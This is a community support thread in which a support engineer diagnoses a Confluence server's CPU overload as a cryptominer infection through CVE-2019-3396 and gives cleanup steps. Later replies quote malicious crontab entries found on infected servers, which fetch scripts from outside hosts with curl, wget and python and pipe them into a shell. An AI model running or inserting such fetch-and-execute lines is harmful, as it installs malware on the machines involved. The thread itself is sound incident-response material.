Environment:
CentOS linux on VMware virtual server.
Server hosts Jira, Confluence and Fisheye. Also, reverse proxy on Nginx.
Symptoms:
A week ago Confluence stopped to work.
http://server:8090 returns "ERR_CONNECTION_REFUSED".
"top" command returns overloaded CPU by confluence process.
If I try to stop confluence service, it fails to stop, and CPU overloading continues.
If I restart the server, Confluence service works for a couple of minutes and fails.
What is the reason and how to fix it?
Hey Sergey, welcome to the Atlassian Community.
Unfortunately from the CPU load you're seeing and the timeframe you mentioned, I believe your instance was affected by an opportunistic attack against the CVE-2019-3396 Widget Connector vulnerability from March 20th (see Confluence Security Advisory - 2019-03-20). We've seen an infection going around that injects malware and the bitcoin miner it tries to run uses all the CPU available on the box. Initially the kerberods malware was being deployed as the payload, but other attacks might be trying to inject different payloads.
I'd recommend tackling things in this order:
Malicious processes
The top command will help you find processes (probably running under the confluence user account) that are consuming a large amount of CPU. If Confluence is currently stopped, you can probably plan on killing any processes running as the confluence user. note the process ID (pid) from the top output and then kill the process using kill -9 followed by the pid. Example:
sudo kill -9 12395
Clean up your crontab
Since most malware adds a cronjob that relaunches the malware every few minutes, you'll also need to check the crontab file and remove any suspicious-looking entries. For Ubuntu, this is stored in the /var/spool/cron/crontabs/ directory. Normally you should use the crontab command to edit the crontab, but for cleanup purposes we'll be inspecting the file for any pre-existing entries.
Using vim (or whichever text editor you're comfortable with), you'll open the file and remove suspicious-looking jobs.
sudo vim /var/spool/cron/crontabs/confluence
Confluence comes up on system startup through the SysV/systemd daemons, so we would expect the confluence user's crontab to not exist under normal circumstances. It's most likely the case that any entries in this file are malicious, but make sure you check them before deleting them entirely.
Upgrade Confluence
Once your CPU is under control and new malicious process aren't spawning, you need to upgrade Confluence to a version that isn't affected by the vulnerability. I'd recommend looking at one of these versions (latest releases as of this post):
Use a malware scanner
Finally, you need to clean up any remaining traces of malware on your system. The LSD malware cleanup tool will be useful for removing the Kerberods malware. Other malware payloads might need different cleanup tools depending on which attack and payload were used. A good starting place for detecting other types of infections are the scanners linked here. Once a particular infection is identified, googling for "____ removal tool" is a good place to start if the scanner was unable to remove the malware automatically.
Please let me know if you have more questions!
Daniel | Atlassian Support
Daniel, you are my hero!
I spent so many hours searching for the similar problems and solutions, and none of them helped.
So, here what I found:
You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.
Agree. In my case it was:
root:/var/spool/cron/crontabs# cat confluence
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Tue May 28 08:46:01 2019)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
*/23 * * * * ((curl -fsSL --connect-timeout 10 http://186.226.176.254/ds || wget --timeout=15 -q -O- http://186.226.176.254/ds)||curl -fsSL https://termbin.com/3dmr || wget -q -O- hhttps://termbin.com/3dmr)|sh
You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.
So this same type of malware got injected into my Confluence 7.8.1 Server
Was added to cronjob for the confluence user
* * * * * (curl -fsSL http://bash.givemexyz.in/xms||
wget -q -O- http://bash.givemexyz.in/xms||
python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')|
bash -sh; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; /tmp/xms; rm -rf /tmp/xms
Killed it with:
pkill -u confluence; echo -n | crontab -u confluence -
You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.
Online forums and learning are now in one easy-to-use experience.
By continuing, you accept the updated Community Terms of Use and acknowledge the Privacy Policy. Your public name, photo, and achievements may be publicly visible and available in search engines.
You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.